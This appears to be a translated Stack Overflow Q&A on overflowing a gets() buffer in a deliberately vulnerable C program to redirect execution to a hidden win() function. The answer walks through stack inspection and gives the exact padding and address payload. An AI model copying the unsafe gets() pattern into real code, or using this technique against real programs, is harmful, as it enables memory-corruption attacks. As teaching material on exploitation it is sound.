试图调用带有缓冲区溢出的隐藏函数

Trying to call a hidden function with a buffer overflow

所以我正在尝试对此代码执行基于堆栈的缓冲区溢出:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("well done!");
}

void vulnfunc(){
  char buffer[36];
  gets(buffer);
  printf("Buffer contents are %s\n",buffer);
}

int main(int argc,char**argv){
  vulnfunc();
}

所以我用 44 字节(缓冲区的 36 字节和额外的 8 字节)覆盖了 EIP。然后我得到函数 win 的地址,把它从 0x53e58955 改成合适的

\x55\x89\xe5\x53

当我将两个字符串连接在一起作为输入时,它仍然没有调用 win() 函数。我试过添加 "BBBB" 作为填充来填充 ebp 但也没有运气。如果有人能提供一些建议,我将不胜感激。

运行 Ubuntu,x86_64

我在 Windows 上复制了 漏洞利用 。由于系统和控制台可能不同,我将解释过程而不是原始代码。出于这个原因,它不会是 复制粘贴 解决方案,而是 copy-the-procedure-to-get-a-similar-result解决方案。

首先,我想找出堆栈结构。所以我执行了以下修改 vulnfunc():

void vulnfunc(){
  char buffer[36];

  printf("win(): 0x%p\n", win);
  printf("vulnfunc(): 0x%p\n", vulnfunc);
  printf("main(): 0x%p\n", main);
  printf("printf(): 0x%p\n", printf);
  
  printf( "0x%08X %08X %08X %08X\n",
          (int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
          (int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
  printf( "0x%08X %08X %08X %08X\n",
          (int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
          (int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
  printf( "0x%08X %08X %08X %08X\n",
          (int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
          (int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );

  gets(buffer);
}

如您所见,我打印了 win() 地址以及所有其他相关函数,包括 mainprintf。然后,我打印了堆栈的相关部分(48 字节)after 缓冲区 array.

我得到以下输出:

win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000

函数的地址很有用,因为我需要的是 main() 内的 return 地址(地址 0x00000000004016D9)。候选人当然是004016F2.

所以,我需要的是通过gets()插入足够的字符,以便到达所需的地址。我们恰好需要插入 24 个字符,即 从字节 21 到字节 24 超出 buffer 数组末尾的那些包含地址的字符。它们前面的 20 个字节的值并不重要,所以我插入随机 ASCII 字符。

结果是预期的:

win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>

请注意方式:

  • "123456789012345678901234567890123456"是占据数组“合法”区域的36个字符
  • "AAAABBBBCCCCDDDDEEEE"是20个“padding”字符,刚好到达栈中需要的位置
  • 注入的地址是0§@0x300x150x40),由gets()填充的字符串终止符提供缺失的0x00

正如预期的那样,win() 函数被执行;在它之后发生崩溃,因为在从它 returning 之后,堆栈在 main() 上不包含正确的 return 地址(它已损坏)。

在 Ubuntu 上,您可能会有不同的堆栈配置,但您可以通过非常相似的方式发现如何执行所需的利用。